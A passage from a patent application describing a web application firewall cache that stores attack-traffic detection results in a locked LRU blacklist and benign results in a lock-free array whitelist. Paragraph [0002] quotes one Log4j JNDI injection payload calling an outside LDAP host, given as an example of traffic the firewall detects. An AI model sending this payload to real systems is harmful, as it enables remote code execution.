Cache data management method and device, computer equipment, readable storage medium and program product

Abstract

The invention relates to a cache data management method and device, computer equipment, a computer readable storage medium and a computer program product. The method comprises: obtaining target traffic data, and searching a detection result corresponding to the target traffic data from a first cache region, the first cache region being used for caching a cache item of an attack traffic sample by using an LRU cache mode, the cache item comprising a key of the attack traffic sample and a regular detection result corresponding to each regular expression; under the condition that the detection result corresponding to the target traffic data is not found in the first cache region, searching a detection result corresponding to the target traffic data from a second cache region, the second cache region being used for caching the type identifier of the non-attack traffic sample in an array manner, the type identifier is used for identifying that the regular detection result of the non-attack traffic sample for each regular expression is missed. By adopting the method, the query efficiency can be improved, the lock overhead is reduced, and the thread security is improved.

Description

Technical Field

[0001] The present application relates to the field of network security technology, and in particular to a cache data management method, apparatus, computer equipment, computer-readable storage medium, and computer program product. Background Art

[0002] In a web application firewall, it is very common to use rules to detect whether HTTP (Hypertext Transfer Protocol) traffic is attack traffic. However, the rule matching process usually requires matching the regular expression corresponding to each rule one by one, which is usually very time-consuming. For example, for Payload1 (${jndi:ldap: / / caffinatedsheep.com / j}), the detection result obtained by using the regular expression for detecting PHP (HypertextPreprocessor) is False (missed), until the regular expression for detecting Log4j is used to obtain the detection result of True (hit).

[0003] In order to reduce the time spent on each regular expression match, the relevant technology often uses the LRU (Least Recently Used) cache mechanism to cache the detection results of each flow corresponding to the regular expression. In the query process, in order to improve the query efficiency, a multi-threaded approach is usually used to query cached data. In the multi-threaded query process, how to ensure thread safety is the focus of the industry. Summary of the invention

[0004] Based on this, it is necessary to provide a cache data management method, device, computer equipment, computer-readable storage medium and computer program product that can improve thread safety in multi-line query processes in response to the above technical problems.

[0005] In a first aspect, the present application provides a cache data management method, the method comprising:

[0006] Obtain target traffic data, and search for a detection result corresponding to the target traffic data from a first cache area, where the first cache area is used to cache cache items of attack traffic samples in an LRU cache manner, where the cache items include a key of the attack traffic sample and a regular detection result corresponding to each regular expression;

[0007] If the detection result corresponding to the target traffic data is not found in the first cache area, the detection result corresponding to the target traffic data is searched from the second cache area, and the second cache area is used to cache type identifiers of non-attack traffic samples in an array manner, and the type identifier is used to identify that the regular detection results of the non-attack traffic samples for each of the regular expressions are all misses.

[0008] In one embodiment, searching the first cache area for a detection result corresponding to the target traffic data includes:

[0009] Calculating a first hash value corresponding to the target traffic data, and determining a target bucket based on the first hash value corresponding to the target traffic data;

[0010] According to the key of the target traffic data, the bidirectional linked list in the target bucket is traversed to obtain the cache item corresponding to the target traffic data, and the regular detection result of the target traffic data for each regular expression is obtained from the cache item.

[0011] In one of the embodiments, the regular detection result corresponding to the regular expression in the cache item includes a first identification bit and a second identification bit, the first identification bit is used to identify whether the regular detection result corresponding to the regular expression has completed initialization, and the second identification bit is used to identify whether the regular detection result corresponding to the regular expression hits the regular expression.

[0012] In one embodiment, the method further comprises:

[0013] If a cache item corresponding to the target traffic data is found in the first cache area, and the cache item includes a regular detection result corresponding to the target regular expression, and the first identification bit of the regular detection result is a first identification, and the first identification indicates that the regular detection result has not been initialized, then the target regular expression is executed for the target traffic data to obtain the target regular detection result;

[0014] For the cache item corresponding to the target traffic data, the first identification bit of the regular detection result corresponding to the target regular expression is updated to the second identification bit, wherein the second identification bit is used to indicate that the regular detection result has been initialized, and the second identification bit of the regular detection result corresponding to the target regular expression is updated according to the target regular detection result.

[0015] In one embodiment, searching the second cache area for the detection result corresponding to the target traffic data includes:

[0016] Calculating a second Hash value of the target traffic data;

[0017] If the type identifier of the array element corresponding to the second hash value is found to be the third identifier in the array, it is determined that the detection result corresponding to the target traffic data is found.

[0018] In one embodiment, the method further comprises:

[0019] If the type identifier of the array element corresponding to the second hash value found in the array is the fourth identifier, each regular expression is executed in sequence for the target traffic data, and based on the regular detection results corresponding to each regular expression, the cache item corresponding to the target traffic data is stored in the first cache area.

[0020] In one embodiment, the method further comprises:

[0021] In the first cache area, if, in the cache items corresponding to the target traffic data, the first identification bits of the regular detection results corresponding to the regular expressions all indicate that the regular detection results have been initialized, and the second identification bits all indicate that the regular expressions are not hit, then the array is updated according to the target traffic data, and the cache items corresponding to the target traffic data are deleted from the first cache area.

[0022] In a second aspect, the present application further provides a cache data management device, the device comprising:

[0023] A first search module is used to obtain target traffic data and search for a detection result corresponding to the target traffic data from a first cache area, wherein the first cache area is used to cache cache items of attack traffic samples in an LRU cache manner, wherein the cache items include a key of the attack traffic sample and a regular detection result corresponding to each regular expression;

[0024] The second search module is used to search for the detection result corresponding to the target traffic data in the second cache area if the detection result corresponding to the target traffic data is not found in the first cache area. The second cache area is used to cache the type identifier of the non-attack traffic sample in an array manner. The type identifier is used to identify that the regular detection results of the non-attack traffic sample for each of the regular expressions are all misses.

[0025] In one embodiment, the first search module is specifically used for:

[0026] Calculating a first hash value corresponding to the target traffic data, and determining a target bucket based on the first hash value corresponding to the target traffic data;

[0027] According to the key of the target traffic data, the bidirectional linked list in the target bucket is traversed to obtain the cache item corresponding to the target traffic data, and the regular detection result of the target traffic data for each regular expression is obtained from the cache item.

[0028] In one of the embodiments, the regular detection result corresponding to the regular expression in the cache item includes a first identification bit and a second identification bit, the first identification bit is used to identify whether the regular detection result corresponding to the regular expression has completed initialization, and the second identification bit is used to identify whether the regular detection result corresponding to the regular expression hits the regular expression.

[0029] In one embodiment, the device further comprises:

[0030] A detection module, configured to execute the target regular expression for the target traffic data to obtain the target regular detection result if a cache item corresponding to the target traffic data is found in the first cache area, and the cache item includes a regular detection result corresponding to the target regular expression, and the first identification bit of the regular detection result is a first identification, and the first identification indicates that the regular detection result has not been initialized;

[0031] The first update module is used to update the first identification bit of the regular detection result corresponding to the target regular expression to the second identification bit for the cache item corresponding to the target traffic data, wherein the second identification bit is used to indicate that the regular detection result has been initialized, and to update the second identification bit of the regular detection result corresponding to the target regular expression according to the target regular detection result.

[0032] In one embodiment, the second search module is specifically used to:

[0033] Calculating a second Hash value of the target traffic data;

[0034] If the type identifier of the array element corresponding to the second hash value is found to be the third identifier in the array, it is determined that the detection result corresponding to the target traffic data is found.

[0035] In one embodiment, the device further comprises:

[0036] The second update module is used to execute each of the regular expressions in sequence for the target traffic data if the type identifier of the array element corresponding to the second hash value is found in the array as the fourth identifier, and store the cache item corresponding to the target traffic data in the first cache area according to the regular detection result corresponding to each of the regular expressions.

[0037] In one embodiment, the device further comprises:

[0038] The third update module is used to update the array according to the target traffic data and delete the cache item corresponding to the target traffic data from the first cache area if the first identification bits of the regular detection results corresponding to the regular expressions in the cache items corresponding to the target traffic data all indicate that the regular detection results have been initialized, and the second identification bits all indicate that the regular expression is not hit.

[0039] In a third aspect, the present application further provides a computer device, comprising a memory and a processor, wherein the memory stores a computer program, and the processor implements any of the above cache data management methods when executing the computer program.

[0040] In a fourth aspect, the present application further provides a computer-readable storage medium having a computer program stored thereon, wherein the computer program implements any of the above cache data management methods when executed by a processor.

[0041] In a fifth aspect, the present application also provides a computer program product, including a computer program, which implements any of the above cache data management methods when executed by a processor.

[0042] The above-mentioned cache data management method, device, computer equipment, computer-readable storage medium and computer program product can search for the detection results corresponding to the target traffic data from the first cache area. The first cache area is used to cache the cache items of the attack traffic samples in an LRU cache manner. The cache items include the key of the attack traffic sample and the regular detection results corresponding to each regular expression. If the detection results corresponding to the target traffic data are not found in the first cache area, the detection results corresponding to the target traffic data are searched from the second cache area. The second cache area is used to cache the type identification of non-attack traffic samples in an array manner. The type identification is used to identify that the regular detection results of the non-attack traffic samples for each regular expression are all misses. The cache data management method, apparatus, computer device, computer-readable storage medium and computer program product provided in the embodiments of the present disclosure are adopted to respectively manage the detection results of non-attack traffic and attack traffic by means of a whitelist (second cache area) and a blacklist (first cache area), including storing the detection results of non-attack traffic in an array manner and caching the detection results of attack traffic by means of an LRU cache management mechanism. In this way, the whitelist may not be locked and only the blacklist may be locked, thereby solving the problem of heavy locking in a multi-threaded environment, thereby improving the efficiency of querying detection results and improving thread safety. BRIEF DESCRIPTION OF THE DRAWINGS

[0043] In order to more clearly illustrate the technical solutions in the embodiments of the present application or related technologies, the drawings required for use in the embodiments of the present application or related technical descriptions will be briefly introduced below. Obviously, the drawings described below are only some embodiments of the present application. For ordinary technicians in this field, other related drawings can be obtained based on these drawings without paying creative work.

[0044] FIG1 is a schematic diagram of a flow chart of a cache data management method in one embodiment;

[0045] FIG2 is a schematic diagram of an LRU cache data structure in a blacklist in one embodiment;

[0046] FIG3 is a schematic diagram of an array structure in a whitelist in one embodiment;

[0047] FIG4 is a schematic diagram of a flow chart of step 102 in one embodiment;

[0048] FIG5 is a schematic diagram of a process of updating a cache item in one embodiment;

[0049] FIG6 is a schematic diagram of a flow chart of step 104 in one embodiment;

[0050] FIG7 is a schematic diagram of a cache data management method in one embodiment;

[0051] FIG8 is a structural block diagram of a cache data management device in one embodiment;

[0052] FIG. 9 is a diagram showing the internal structure of a computer device in one embodiment. DETAILED DESCRIPTION

[0053] In order to make the purpose, technical solution and advantages of the present application more clearly understood, the present application is further described in detail below in conjunction with the accompanying drawings and embodiments. It should be understood that the specific embodiments described herein are only used to explain the present application and are not used to limit the present application.

[0054] LRU is a cache replacement strategy used to manage data in the cache. When the cache reaches its maximum capacity, the LRU strategy removes the least recently used data to make room for new data. In the WAF (Web Application Firewall) detection scenario, the data caching method corresponding to LRU is: calculate the hash value of each flow, and then calculate the index of the Bucket based on the hash value. After determining the key of the flow, the key of the flow and the corresponding detection result of each regular expression are used as a cache item and stored in a bidirectional linked list under the bucket. In this way, the detection result of the regular expression can be queried through the key of the flow.

[0055] In the multi-threaded query process, related technologies often use locking, atomic variables, message queues, thread-local storage (TLS) and other mechanisms to ensure thread safety. However, the above methods still have the following shortcomings:

[0056] 1) Locking mechanism is a common and easy-to-think multi-thread synchronization method, which can effectively prevent data competition and ensure data consistency. However, simple locking may lead to performance degradation, because threads may be blocked waiting for locks, resulting in context switching overhead. In addition, there are potential problems such as deadlock and priority inversion. Although atomic variables are a lighter method, the LRU cache data structure saved in the WAF scenario is relatively complex, and simply using atomic variables will cause thread safety issues.

[0057] For example, for WAF, querying the cached data corresponding to the regular expression detection results is a very frequent operation, which is much more frequent than storing the detection results in the cache. If a simple locking operation is used, when a large number of query threads are querying the same bucket, the writing thread must wait for all other query operations to end before writing to the cache. In this way, the update efficiency of the cached data is not as expected.

[0058] Instead, we only use atomic variables, such as adding a flag to each Bucket. When an update thread updates, the bucket flag is set to 1, indicating that a thread is updating. However, this is not thread-safe. For example, when a query thread checks the Bucket flag, it finds that the flag is 0, which means that it can be queried at the moment. Then, during the query process of the query thread, a thread wants to update the cache item, and sets the flag to 1. If the cache item to be queried is the same as the item to be deleted, and the query thread obtains the item, the update thread has just quietly released the cache item. In fact, the query thread obtains a floating pointer, and when this pointer is used, a Coredump (thread crash) will occur.

[0059] 2) In a multi-threaded environment, message queues communicate by passing messages rather than sharing memory, avoiding data competition and deadlock problems, simplifying synchronization, and enhancing system scalability. However, this mechanism also brings additional performance overhead and implementation complexity, and may introduce delays under high load conditions. For real-time detection scenarios such as WAF, this asynchronous non-blocking method is not applicable.

[0060] 3) Although the use of thread-local storage variables can ensure that each thread has its own independent memory, avoiding data competition and locking mechanisms, and improving concurrency performance and code simplicity, each thread is equivalent to having an LRU cache, which increases memory usage and may lead to complex resource management.

[0061] In order to solve the above technical problems, the embodiments of the present disclosure provide a cache data management method for a WAF detection scenario, which adopts a whitelist and a blacklist to respectively manage non-attack traffic (non-attack traffic is referred to as white samples in the embodiments of the present disclosure) and attack traffic (attack traffic is referred to as black samples in the embodiments of the present disclosure), including using an array to store the detection results of white samples, and using an LRU cache management mechanism to cache the detection results of black samples. In this way, a mechanism of not locking the whitelist and only locking the blacklist can be implemented to solve the problem of too heavy locking in a multi-threaded environment, thereby improving the efficiency of querying detection results and solving the problem of thread insecurity.

[0062] Payload is the actual data part transmitted in the data packet, excluding metadata (such as header information, protocol control information, etc.). The payload is the core content of the data packet, conveying the specific information that the sender wants the receiver to obtain.

[0063] Hash: A technique that maps input data (such as strings, files, etc.) to a fixed-length hash value (hash value) through a specific algorithm. This value is usually a number that is used to quickly find the location of data in the hash table. Hash technology is widely used in data storage and retrieval, cryptography, data integrity verification, and other fields, and can effectively improve data access speed and system performance. By avoiding data collisions (different inputs produce the same hash value), hash technology ensures efficient data management and accurate retrieval.

[0064] Bucket: A storage unit in a hash table that is used to store elements with the same hash value. In a hash table, the input data is hashed using a hash function, and then the data is mapped to a specific bucket based on the hash value. If multiple data items have the same hash value, they are stored in the same bucket, forming a linked list or other structure to resolve conflicts. The use of buckets enables hash tables to organize and find data efficiently, improving the performance of search, insertion, and deletion operations.

[0065] In one embodiment, as shown in FIG1 , a cache data management method is provided. This embodiment uses the method applied to a terminal as an example for illustration. It is understandable that the method can also be applied to a server, and can also be applied to a system including a terminal and a server, and is implemented through the interaction between the terminal and the server. In this embodiment, the method includes the following steps 102 and 104, wherein:

[0066] Step 102, obtaining target traffic data, and searching for detection results corresponding to the target traffic data from a first cache area, the first cache area being used to cache cache items of attack traffic samples in an LRU cache manner, the cache items including a key of the attack traffic sample and a regular detection result corresponding to each regular expression;

[0067] Step 104, when the detection result corresponding to the target traffic data is not found in the first cache area, the detection result corresponding to the target traffic data is searched from the second cache area, and the second cache area is used to cache the type identifier of the non-attack traffic sample in an array manner, and the type identifier is used to identify that the regular detection results of the non-attack traffic sample for each regular expression are all misses.

[0068] In the embodiment of the present disclosure, the first cache area is a blacklist, which is used to store the detection results of attack traffic samples (also referred to as black samples in the embodiment of the present disclosure). The second cache area is a whitelist, which is used to store the detection results of non-attack traffic (also referred to as white samples in the embodiment of the present disclosure). The target traffic data is the payload of the HTTP traffic.

[0069] Among them, the blacklist uses LRU cache mode for data caching. Exemplarily, an LRU cache data structure is used to store the detection results of attack traffic samples, including calculating the corresponding Bucket according to the hash value of the attack traffic sample, storing the cache items of the attack traffic sample in a bidirectional linked list under the Bucket, and storing the Key of the attack traffic sample (the first N bits or the last N bits of the attack traffic sample, N is set by technicians in this field according to needs) and the WAF detection results for each regular expression (hereinafter referred to as regular detection results for clear description). The specific data structure is shown in Figure 2.

[0070] The whitelist uses an array structure to store the detection results of non-attack traffic samples. The array subscript is obtained by calculating the hash value based on each non-attack traffic sample, and the array element only stores the type identifier used to identify whether it is a white sample. For example, if the stored type identifier is True, it means that it is a white sample (that is, all the detection results corresponding to the regular expression are misses). If the stored type identifier is False, it means that the corresponding detection result is not stored in the whitelist. The specific data structure is shown in Figure 3.

[0071] In WAF, most of the HTTP traffic is normal white samples, and only a small part is attack traffic, that is, black samples. Therefore, an array is used to store the detection results of white samples. Since there is no pointer in the array structure, thread safety in a multi-threaded environment can be guaranteed. The blacklist uses an LRU cache data structure and only locks each Bucket, which can greatly reduce the lock overhead and improve query efficiency.

[0072] In the disclosed embodiment, after receiving HTTP traffic, the target traffic data (Payload) can be decoded from the HTTP traffic, and then WAF detection can be performed. When performing detection, when it is necessary to match a regular expression, the blacklist can be queried first, that is, the first cache area can be queried first. When the cache item corresponding to the target traffic data is not found in the first cache area, the whitelist is queried, that is, the array element corresponding to the target traffic data is searched from the data in the second cache area, and it is determined whether the target traffic data is a white sample based on the type identifier corresponding to the array element.

[0073] The cache data management method provided in the embodiment of the present disclosure is adopted, and the detection results of non-attack traffic and attack traffic are respectively managed by a whitelist (second cache area) and a blacklist (first cache area), including storing the detection results of non-attack traffic in an array manner, and caching the detection results of attack traffic by using the LRU cache management mechanism. In this way, the whitelist can be unlocked and only the blacklist can be locked, thereby solving the problem of heavy locking in a multi-threaded environment, thereby improving the efficiency of querying detection results and improving thread safety.

[0074] In an exemplary embodiment, as shown in FIG. 4 , in step 102, searching the first cache area for the detection result corresponding to the target traffic data may include the following steps 402 to 404, wherein:

[0075] Step 402, calculating a first hash value corresponding to the target traffic data, and determining a target bucket based on the first hash value corresponding to the target traffic data;

[0076] Step 404, traverse the bidirectional linked list in the target bucket according to the key of the target traffic data, obtain the cache item corresponding to the target traffic data, and obtain the regular detection result of the target traffic data for each regular expression from the cache item.

[0077] In the embodiment of the present disclosure, after obtaining the target traffic data, the first hash value corresponding to the target traffic data can be calculated, and the bucket index can be calculated based on the first hash value, and the target bucket can be determined based on the bucket index. Exemplarily, the first hash value of the target traffic data can be calculated by the following formula (I), and the bucket index can be calculated by formula (II):

[0078] Formula (I)

[0079] Formula (II)

[0080] in, Indicates the target flow data, represents the first hash value, Represents the bucket index, n is a constant, It is a hash function. The embodiments of the present disclosure do not specifically limit the hash function, and any hash function is applicable to the embodiments of the present disclosure.

[0081] After obtaining the bucket index, the bucket corresponding to the bucket index can be used as the target bucket, and the bidirectional linked list under the target bucket can be traversed to find the cache item corresponding to the target traffic data. Because it is a multi-threaded environment, a read lock needs to be added to the target bucket during the query. At this time, even if an update thread wants to add, delete, or update a cache item, it needs to wait until the read lock is released before the operation can be performed, thus ensuring thread safety.

[0082] In an exemplary embodiment, the candidate cache item corresponding to the target traffic data can be determined from the bidirectional linked list of the target bucket, the key corresponding to the candidate cache item is consistent with the length of the key of the target traffic data, and the candidate cache item whose key is consistent with the key of the target traffic data is used as the cache item corresponding to the target traffic data. That is, in the embodiment of the present disclosure, to determine whether the cache item has been stored in the target bucket, it is possible to first determine whether the length of the key of the cache item is consistent with the length of the key of the target traffic data. If there is a candidate cache item whose key length is consistent with the length of the key of the target traffic data, then determine whether the key of the candidate cache item is consistent with the key of the target traffic data, and use the consistent candidate cache item as the cache item corresponding to the target traffic data, and use the regular detection results corresponding to each regular expression corresponding to the key in the cache item as the detection results of the target traffic data. In this way, the detection efficiency can be effectively improved.

[0083] In an exemplary embodiment, the regular detection result corresponding to the regular expression in the cache item includes a first identification bit and a second identification bit, the first identification bit is used to identify whether the regular detection result corresponding to the regular expression has completed initialization, and the second identification bit is used to identify whether the regular detection result corresponding to the regular expression hits the regular expression.

[0084] In the disclosed embodiment, the cache item includes a key, and the Value corresponding to the key includes the regular detection result corresponding to each regular expression. The regular detection result corresponding to each regular expression can be represented by two bits, that is, the regular detection result includes a first identification bit and a second identification bit, wherein the first identification bit is used to identify whether the regular detection result corresponding to the regular expression has completed initialization, for example: when the first identification bit is 0, it indicates that the regular detection result has not completed initialization, and when the first identification bit is 1, it indicates that the regular detection result has completed initialization. The second identification bit is used to identify whether the regular detection result corresponding to the regular expression hits the regular expression, for example: when the second identification bit is 0, it indicates that the regular expression is not hit, and when the second identification bit is 1, it indicates that the regular expression is hit (that is, attack traffic).

[0085] For example, assuming that WAF includes 5 regular expression detections, the Value corresponding to the key in the cache item includes 10 bits, for example: ((1, 0), (1, 0), (1, 1), (1, 0), (1, 0)), then it can be determined that the regular detection results corresponding to the 5 regular expressions have all been initialized, and the third regular detection result is a hit, and the other regular detection results are all misses, that is, the traffic sample corresponding to the cache item is an attack traffic sample.

[0086] In an exemplary embodiment, as shown in FIG. 5 , the method may further include the following steps 502 to 504, wherein:

[0087] Step 502: If a cache item corresponding to the target traffic data is found in the first cache area, and the cache item includes a regular detection result corresponding to the target regular expression, and the first identification bit of the regular detection result is a first identification, and the first identification indicates that the regular detection result has not been initialized, the target regular expression is executed for the target traffic data to obtain the target regular detection result;

[0088] Step 504, for the cache item corresponding to the target traffic data, update the first identification bit of the regular detection result corresponding to the target regular expression to the second identification bit, where the second identification bit is used to indicate that the regular detection result has been initialized, and update the second identification bit of the regular detection result corresponding to the target regular expression according to the target regular detection result.

[0089] In the disclosed embodiment, if a cache item corresponding to the target traffic data is found from the first cache area, and the first identification bit of any regular detection result in the cache item is a first identification indicating that the regular detection result has not completed initialization, then the regular expression corresponding to the regular detection result is the target regular expression, and the target regular expression has not completed initialization, then the target regular expression can be executed on the target traffic data to obtain the corresponding target regular detection result.

[0090] After obtaining the target regular detection result corresponding to the target regular expression, the regular detection result corresponding to the target regular expression in the cache item corresponding to the target traffic data can be updated according to the target regular detection result, including updating the first identification bit of the regular detection result to a second identification bit indicating that the regular detection result has completed initialization, and updating the second identification bit of the regular detection result, for example: when the target regular detection result is a hit on the target regular expression, the second identification bit is updated to identification information indicating a hit, or, when the target regular detection result is a miss on the target regular expression, the second identification bit is set to identification information indicating a miss.

[0091] Exemplarily, if the cache item corresponding to the target traffic data is queried in the first cache area, but the first identification bit in the regular detection result for a certain regular expression is the first identification bit, then the regular expression needs to be executed to update the regular detection result. For example: the value corresponding to the cache item corresponding to the target traffic data found is ((1, 0), (1, 0), (0, 0), (0, 0), (0, 0)), and the first identification bit of the regular detection result corresponding to the third regular expression is 0, then the third regular expression is executed, and then the third regular detection result is updated according to the execution result. After the update, the value corresponding to the cache item is ((1, 0), (1, 0), (1, 1), (0, 0), (0, 0)). Similarly, the fourth and fifth regular expressions are deduced by analogy, and will not be repeated here in the embodiments of the present disclosure.

[0092] In an exemplary embodiment, as shown in FIG. 6 , in step 104, searching the second cache area for the detection result corresponding to the target traffic data may include the following steps 602 to 604, wherein:

[0093] Step 602, calculating a second hash value of the target traffic data;

[0094] Step 604: If the type identifier of the array element corresponding to the second hash value is found in the array as the third identifier, it is determined that the detection result corresponding to the target traffic data is found.

[0095] In the embodiment of the present disclosure, if no cache item corresponding to the target traffic data is found in the query of the first cache area, the detection result of the target traffic data is searched from the second cache area. Exemplarily, the second hash value of the target traffic data can be calculated, and then the array index is calculated based on the second hash value, and the data element corresponding to the data index is obtained from the array. If the type identifier corresponding to the data element is the third identifier, such as true, it can be determined that the target traffic data is a white sample (that is, a non-attack sample), and the corresponding query result can be fed back. Among them, the first hash value and the second hash value can be the same or different, and this is not specifically limited in the embodiment of the present disclosure, that is, the same hash function can be used to calculate the first hash value and the second hash value, or different hash functions can be used to calculate the first hash value and the second hash value.

[0096] In the embodiment of the present disclosure, considering that there is no Key value comparison during the query process in the second cache area, if a certain attack sample is not detected, but if its hash value conflicts with that of a white sample, it will be identified as a white sample, resulting in a missed report. Therefore, in the embodiment of the present disclosure, the length of the array can be increased to reduce the hash value conflict, thereby reducing the missed reports as much as possible, that is, reducing the probability of missed reports.

[0097] In an exemplary embodiment, in order to ensure the freshness of the cache, the embodiment of the present disclosure also sets a maximum query count for each cache item, and the cache item is deleted when a certain query count is met. That is, for any cache item, the query count corresponding to the cache item can be accumulated, and when the query count corresponding to the cache item reaches the corresponding query count threshold, the cache item is deleted from the bucket of the first cache area.

[0098] In an exemplary embodiment, the above method may further include:

[0099] If the type identifier of the array element corresponding to the second hash value found in the array is the fourth identifier, each regular expression is executed in sequence for the target traffic data, and the cache item corresponding to the target traffic data is stored in the first cache area according to the regular detection result corresponding to each regular expression.

[0100] In the disclosed embodiment, the type identifier corresponding to each array element in the array is initialized as the fourth identifier, for example: false. If the type identifier corresponding to the array element of the target traffic data is found from the array as the fourth identifier, it indicates that the target traffic data has not been matched by each regular expression, that is, the detection result corresponding to the target traffic data has not been stored yet, so each regular expression can be executed in sequence for the target traffic data, and according to the regular detection result corresponding to each regular expression, the cache item corresponding to the target traffic data is stored in the first cache area.

[0101] Exemplarily, the key corresponding to the target traffic data can be determined, and a cache item corresponding to the target traffic data can be created in the first cache area based on the key corresponding to the target traffic data. The regular detection results corresponding to each regular expression in the value of the cache item are set to (0, 0). After executing any regular expression, the regular detection result corresponding to the regular expression in the cache item can be updated based on the regular detection result corresponding to the regular expression. The updating process may refer to the relevant description of the aforementioned embodiment, and will not be repeated here in the embodiments of the present disclosure.

[0102] In an exemplary embodiment, the method further includes:

[0103] In the first cache area, if the first identification bits of the regular detection results corresponding to each regular expression in the cache item corresponding to the target traffic data all indicate that the regular detection results have been initialized, and the second identification bits all indicate that the regular expression is not hit, the array is updated according to the target traffic data, and the cache item corresponding to the target traffic data is deleted from the first cache area.

[0104] In the embodiment of the present disclosure, after the cache item corresponding to the target traffic data in the first cache area is updated, if the first identification bit in each regular detection result in the cache item indicates that initialization has been completed, and the second identification bit indicates that the regular expression is not hit, it can be determined that the target traffic data is a white sample, and the cache item corresponding to the target traffic data can be deleted from the first cache area, and a third identification bit can be set in the data element corresponding to the data subscript corresponding to the white sample in the array, that is, the target traffic data is deleted from the blacklist and added to the whitelist.

[0105] In order to enable those skilled in the art to better understand the embodiments of the present disclosure, the embodiments of the present disclosure are described below through specific examples.

[0106] As shown in Figure 7, after the payload is obtained, it is possible to first query whether there is a cache item corresponding to the payload in the blacklist (first cache area) (refer to the above-mentioned embodiment for the specific process, which will not be repeated in this example). After the cache item corresponding to the payload exists in the blacklist, it can be determined whether the first identification bit of the regular detection result corresponding to each regular expression indicates that it has been initialized. If so, the corresponding query result is fed back based on the cache item, and the query result indicates that the payload is attack traffic; if not, for the regular expression whose first identification bit indicates that it has not been initialized, the regular expression is executed to obtain the corresponding regular detection result, and the cache item in the blacklist is updated based on the regular detection result. After the update, determine whether the second identification bits of the regular detection results corresponding to each regular expression in the cache item all represent missed regular expressions. If not, feedback the corresponding query results based on the current cache item, and the query results represent that the payload is attack traffic. If so, update the whitelist (second cache area) based on the payload, delete the cache item corresponding to the payload from the blacklist, and then feedback the corresponding query results based on the type identification corresponding to the data element of the payload in the whitelist, and the query results represent that the payload is non-attack traffic.

[0107] Alternatively, if the cache item corresponding to the payload is not found in the blacklist, the data element corresponding to the payload is searched in the whitelist. When the type identifier corresponding to the data element corresponding to the payload in the whitelist is true, the corresponding query result can be fed back, and the query result indicates that the payload is non-attack traffic. Alternatively, when the type identifier corresponding to the data element corresponding to the payload in the whitelist is false, it can be determined that the detection result corresponding to the payload is not found, and each regular expression can be executed to obtain the corresponding regular detection result, and the cache item corresponding to the payload is added to the blacklist based on the regular detection result corresponding to each regular expression, and the corresponding query result is fed back.

[0108] The cache data management method provided by the embodiment of the present disclosure adopts a whitelist and blacklist mechanism. The whitelist is used to store non-attack payloads, and a simple Hash array structure is used, which has natural thread safety in a multi-threaded environment; the blacklist is used to store attack payloads, and an LRU cache data structure is used, and each Bucket is locked to reduce the lock overhead, so that the WAF detection scenario (most of which are white samples and a small part are black samples) is fully utilized to ensure thread safety; and by designing an efficient cache query and update mechanism, the blacklist is queried first, and the whitelist is queried if it does not hit, which improves the query efficiency and reduces the occurrence of missed reports. For the query of the blacklist, the fine-grained read-write lock mechanism ensures the security of the query and update operations in a multi-threaded environment. To ensure the freshness of the cache, each cache item is designed with a maximum query number, and the item is deleted after the number is exceeded. In addition, by processing the initialization of the blacklist cache item, the integrity and correctness of the cache data are ensured. This method significantly improves query efficiency, reduces lock overhead, enhances system thread safety, reduces false positives and false negatives, and ensures the real-time and validity of cached data, thereby improving the performance and reliability of the Web application firewall.

[0109] It should be understood that, although the various steps in the flowcharts involved in the above-mentioned embodiments are displayed in sequence according to the indication of the arrows, these steps are not necessarily executed in sequence according to the order indicated by the arrows. Unless there is a clear explanation in this article, the execution of these steps does not have a strict order restriction, and these steps can be executed in other orders. Moreover, at least a part of the steps in the flowcharts involved in the above-mentioned embodiments can include multiple steps or multiple stages, and these steps or stages are not necessarily executed at the same time, but can be executed at different times, and the execution order of these steps or stages is not necessarily to be carried out in sequence, but can be executed in turn or alternately with other steps or at least a part of the steps or stages in other steps.

[0110] Based on the same inventive concept, the embodiment of the present application also provides a cache data management device for implementing the cache data management method involved above. The implementation solution provided by the device to solve the problem is similar to the implementation solution recorded in the above method, so the specific limitations in one or more cache data management device embodiments provided below can refer to the limitations of the cache data management method above, and will not be repeated here.

[0111] In an exemplary embodiment, as shown in FIG8 , a cache data management device is provided, including: a first search module 802 and a second search module 804, wherein:

[0112] A first search module 802 is used to obtain target traffic data and search for detection results corresponding to the target traffic data from a first cache area, wherein the first cache area is used to cache cache items of attack traffic samples in an LRU cache manner, wherein the cache items include a key of the attack traffic sample and a regular detection result corresponding to each regular expression;

[0113] The second search module 804 is used to search for the detection result corresponding to the target traffic data in the second cache area if the detection result corresponding to the target traffic data is not found in the first cache area. The second cache area is used to cache the type identifier of the non-attack traffic sample in an array manner, and the type identifier is used to identify that the regular detection results of the non-attack traffic sample for each of the regular expressions are all misses.

[0114] The cache data management device provided by the embodiment of the present disclosure adopts a whitelist (second cache area) and a blacklist (first cache area) to respectively manage the detection results of non-attack traffic and attack traffic, including storing the detection results of non-attack traffic in an array manner, and caching the detection results of attack traffic using an LRU cache management mechanism. In this way, the whitelist can be unlocked and only the blacklist can be locked, thereby solving the problem of heavy locking in a multi-threaded environment, thereby improving the efficiency of querying detection results and improving thread safety.

[0115] In one embodiment, the first search module 802 is specifically used for:

[0116] Calculating a first hash value corresponding to the target traffic data, and determining a target bucket based on the first hash value corresponding to the target traffic data;

[0117] According to the key of the target traffic data, the bidirectional linked list in the target bucket is traversed to obtain the cache item corresponding to the target traffic data, and the regular detection result of the target traffic data for each regular expression is obtained from the cache item.

[0118] In one of the embodiments, the regular detection result corresponding to the regular expression in the cache item includes a first identification bit and a second identification bit, the first identification bit is used to identify whether the regular detection result corresponding to the regular expression has completed initialization, and the second identification bit is used to identify whether the regular detection result corresponding to the regular expression hits the regular expression.

[0119] In one embodiment, the device further comprises:

[0120] A detection module, configured to execute the target regular expression for the target traffic data to obtain the target regular detection result if a cache item corresponding to the target traffic data is found in the first cache area, and the cache item includes a regular detection result corresponding to the target regular expression, and the first identification bit of the regular detection result is a first identification, and the first identification indicates that the regular detection result has not been initialized;

[0121] The first update module is used to update the first identification bit of the regular detection result corresponding to the target regular expression to the second identification bit for the cache item corresponding to the target traffic data, wherein the second identification bit is used to indicate that the regular detection result has been initialized, and to update the second identification bit of the regular detection result corresponding to the target regular expression according to the target regular detection result.

[0122] In one embodiment, the second search module 804 is specifically used to:

[0123] Calculating a second Hash value of the target traffic data;

[0124] If the type identifier of the array element corresponding to the second hash value is found to be the third identifier in the array, it is determined that the detection result corresponding to the target traffic data is found.

[0125] In one embodiment, the device further comprises:

